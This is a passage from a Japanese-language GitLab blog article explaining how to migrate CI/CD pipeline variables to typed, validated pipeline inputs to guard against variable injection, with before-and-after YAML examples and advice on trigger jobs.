**パイプライン変数を使用していないプロジェクトで、パイプライン変数を無効にする**で、**マイグレーションの開始**を選択します。\n\n\n\nこの移行は、過去に使用したことがないすべてのプロジェクトのプロジェクト設定を通じて、パイプライン変数を安全に無効にするバックグラウンドジョブです。\n\n\n\n### パイプライン変数を入力に変換\n\n\n\n特定されたパイプライン変数ごとに、対応するパイプライン入力を作成します。\n\n\n\n**変更前(パイプライン変数を使用)**\n\n\n\n```text\n\nvariables:\n  DEPLOY_ENV:\n    description: \"デプロイメント環境\"\n    value: \"staging\"\n  ENABLE_CACHE:\n    description: \"デプロイメントキャッシュを有効化\"\n    value: \"true\"\n  VERSION:\n    description: \"アプリケーションバージョン\"\n    value: \"1.0.0\"\n\ndeploy:\n  script:\n    - echo \"$DEPLOY_ENVへバージョン$VERSIONをデプロイ中\"\n    - |\n      if [ \"$ENABLE_CACHE\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n**変更後(パイプライン入力を使用)**\n\n\n\n```text\n\nspec:\n  inputs:\n    deploy_env:\n      description: \"デプロイメント環境\"\n      type: string\n      default: \"staging\"\n      options: [\"dev\", \"staging\", \"production\"]\n\n    enable_cache:\n      description: \"デプロイメントキャッシュを有効化\"\n      type: boolean\n      default: true\n    \n    version:\n      description: \"アプリケーションバージョン\"\n      type: string\n      default: \"1.0.0\"\n      regex: '^[0-9]+\\.[0-9]+\\.[0-9]+$'\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deploy_env ]]へバージョン$[[ inputs.version ]]をデプロイ中\"\n    - |\n      if [ \"$[[ inputs.enable_cache ]]\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n### トリガージョブの移行\n\n\n\n`trigger`キーワードでトリガージョブを使用している場合は、ジョブレベルの`variables`を定義していないこと、またはトップレベルの`variables`、`extends`、`include`からの変数の継承を無効にしていないことを確認してください。変数が暗黙的にダウンストリームにパイプライン変数として渡される可能性があるためです。ダウンストリームプロジェクトでパイプライン変数が制限されている場合、パイプラインの作成は失敗します。\n\n\n\nパイプライン変数の代わりに、パイプライン入力を使用するようにCI構成を更新することを検討してください。\n\n\n\n```yaml\n\nvariables:\n  FOO: bar\n\ndeploy-staging:\n  inherit:\n    variables: false # そうしないとFOOがダウンストリームにパイプライン変数として送信されます\n  trigger:\n    project: myorg/deployer\n    inputs:\n      deployment_env: staging\n      enable_tests: true\n```\n\n\n\n## まとめ\n\n\n\nパイプライン変数からパイプライン入力への移行は、変数インジェクションからCI/CDインフラを保護するセキュリティ強化であり、同時により優れたドキュメント、型安全性、検証を提供します。これらの制限を実装し、パイプライン入力を採用することで、セキュリティを向上させるだけでなく、パイプラインをよりメンテナンスしやすく、自己文書化され、耐障害性の高いものにすることができます。\n\n\n\n移行には初期の労力が必要ですが、長期的なメリットは移行コストをはるかに上回ります。まず、新規プロジェクトのグループレベルでパイプライン変数を制限ることから始め、次に上記の段階的なアプローチを使用して既存のパイプラインを体系的に移行してください。\n\n\n\nセキュリティの強化は、終わりのない継続的なプロセスです。パイプライン入力は、保護されたブランチ、ジョブトークン許可リスト、コンテナレジストリ保護など、他のGitLabセキュリティ機能を補完し、より安全なCI/CD環境を構築するための重要なステップです。\n\n\n\n> パイプライン入力を始めるには、[GitLab Ultimateの無料トライアルに今すぐ登録](https://about.gitlab.com/ja-jp/free-trial/devsecops/)してください。\n",[706],"Fabio Pitino","2025-11-12","2025-11-04","パイプライン変数からパイプライン入力への移行でセキュリティを強化",[9,711,38,112],"DevSecOps","このガイドでは、明示的な宣言、型安全性、検証の実装など、パイプラインのカスタマイズに関するより強力な制御について説明します。",{"featured":12,"template":13,"slug":714},"migrate-from-pipeline-variables-to-pipeline-inputs-for-better-security",{"promotions":716},[717,731,743],{"id":718,"categories":719,"header":721,"text":722,"button":723,"image":728},"ai-modernization",[720],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":724,"config":725},"Get your AI maturity score",{"href":726,"dataGaName":727,"dataGaLocation":248},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":729},{"src":730},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":732,"categories":733,"header":735,"text":722,"button":736,"image":740},"devops-modernization",[41,734],"devsecops","Are you just managing tools or shipping innovation?",{"text":737,"config":738},"Get your DevOps maturity score",{"href":739,"dataGaName":727,"dataGaLocation":248},"/assessments/devops-modernization-assessment/",{"config":741},{"src":742},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":744,"categories":745,"header":746,"text":722,"button":747,"image":751},"security-modernization",[9],"Are you trading speed for security?",{"text":748,"config":749},"Get your security maturity score",{"href":750,"dataGaName":727,"dataGaLocation":248},"/assessments/security-modernization-assessment/",{"config":752},{"src":753},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":755,"blurb":756,"button":757,"secondaryButton":761},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":51,"config":758},{"href":759,"dataGaName":54,"dataGaLocation":760},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":56,"config":762},{"href":58,"dataGaName":59,"dataGaLocation":760},1772652104350]